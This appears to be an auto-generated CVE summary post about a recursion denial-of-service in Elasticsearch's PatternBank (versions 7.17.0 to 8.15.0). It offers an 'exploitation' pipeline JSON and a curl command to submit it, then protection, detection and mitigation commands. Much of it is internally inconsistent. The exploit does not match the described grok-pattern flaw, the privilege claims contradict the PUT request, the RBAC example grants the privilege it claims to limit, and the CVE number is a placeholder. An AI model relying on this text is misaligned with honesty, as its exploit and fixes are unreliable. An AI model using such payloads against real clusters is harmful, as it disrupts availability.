How the CVE Works:
The vulnerability resides in the `innerForbidCircularReferences` function within Elasticsearch’s `PatternBank` class (versions 7.17.0 to 8.15.0). When processing deeply nested or circular pipeline references, excessive recursion occurs, leading to a stack overflow. An attacker with `read_pipeline` privileges can submit a maliciously crafted pipeline definition, triggering uncontrolled recursion and crashing the node. This disrupts cluster availability, causing a Denial-of-Service (DoS) condition. The flaw stems from insufficient recursion depth validation during pipeline reference checks.
DailyCVE Form:
Platform: Elasticsearch
Version: 7.17.0 – 8.15.0
Vulnerability: DoS via recursion
Severity: Moderate
Date: 2025-04-09
What Undercode Say:
Exploitation:
1. Craft Malicious Pipeline:
{
"description": "Exploit CVE-2025-XXXX",
"processors": [
{
"set": { "field": "circular_ref", "value": "{{circular_ref}}" }
}
]
}
2. Submit via API:
curl -X PUT "localhost:9200/_ingest/pipeline/exploit" -H "kbn-xsrf: true" -H "Content-Type: application/json" -d @malicious_pipeline.json
Protection:
1. Upgrade:
For Debian-based systems wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.15.1.deb sudo dpkg -i elasticsearch-8.15.1.deb
2. Restrict Privileges:
// Limit 'read_pipeline' via role-based access control
{
"cluster": ["manage_pipeline"],
"indices": [{
"names": [""],
"privileges": ["read"]
}]
}
3. Monitor Stack Traces:
grep -r "StackOverflowError" /var/log/elasticsearch/
Detection:
1. Log Analysis:
journalctl -u elasticsearch --since "1 hour ago" | grep -i "stackoverflow"
2. API Health Check:
curl -X GET "localhost:9200/_cluster/health?pretty"
Mitigation (Temporary):
1. Disable Pipeline API:
In elasticsearch.yml ingest.pipeline.enabled: false
2. Network Controls:
iptables -A INPUT -p tcp --dport 9200 -j DROP
References:
References:
Reported By: https://github.com/advisories/GHSA-ghfh-p92w-j4mg
Extra Source Hub:
Undercode
